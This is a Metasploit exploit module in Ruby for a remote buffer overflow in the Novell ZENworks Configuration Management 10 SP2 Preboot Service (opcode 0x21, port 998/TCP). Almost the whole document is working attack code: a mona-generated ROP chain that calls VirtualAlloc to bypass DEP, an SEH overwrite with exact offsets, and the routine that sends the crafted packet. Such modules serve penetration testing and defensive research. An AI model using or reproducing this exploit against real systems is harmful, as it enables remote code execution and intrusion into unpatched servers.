Novell ZENworks Configuration Management Preboot Service 0x21 – Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow', 'Description' => %q{ This module exploits a remote buffer overflow in the ZENworks Configuration Management 10 SP2. The vulnerability exists in the Preboot service and can be triggered by sending a specially crafted packet with the opcode 0x21 (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2 (DEP bypass). }, 'License' => MSF_LICENSE, 'Author' => [ 'Stephen Fewer', # Vulnerability Discovery 'juan' # Metasploit module ], 'References' => [ [ 'OSVDB', '65361' ], [ 'BID', '40486' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'BadChars' => "", 'Space'=> 8138, 'DisableNops' => true, 'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500 }, 'Platform' => ['win'], 'Targets' => [ [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2', { 'Offset' => 8252, 'OffsetBottomStack' => 8288, 'OffsetRop' => 44, 'Ret' => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe } ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 30 2010', 'DefaultTarget' => 0)) register_options([Opt::RPORT(998)], self.class) end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("L")[0].to_i end # rop chain generated with mona.py def create_rop_chain() rop_gadgets = [ 0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll] 0x00001000, # 0x00001000-> edx 0x10062113, # POP ECX # RETN [zenimgweb.dll] 0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll] 0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll] junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) junk, # Filler (compensate) 0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll] 0x1002fd05, # POP EBP # RETN [zenimgweb.dll] 0x10043053, # & push esp # ret [zenimgweb.dll] 0x1003cbf8, # POP EBX # RETN [zenimgweb.dll] 0x00000001, # 0x00000001-> ebx 0x00423eeb, # POP ECX # RETN [novell-pbserv.exe] 0x00000040, # 0x00000040-> ecx 0x1003173e, # POP EDI # RETN [zenimgweb.dll] 0x10020801, # RETN (ROP NOP) [zenimgweb.dll] 0x00406b58, # POP EAX # RETN [novell-pbserv.exe] nop, 0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll] ].pack("V*") return rop_gadgets end def exploit connect buf = rand_text(target['OffsetRop']) buf << create_rop_chain buf << payload.encoded buf << rand_text(target['Offset'] - buf.length) buf << generate_seh_record(target.ret) buf << rand_text(target['OffsetBottomStack'] - buf.length) packet = [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE packet << [buf.length].pack("N") # Length packet << buf # Value sock.put(packet) disconnect end end |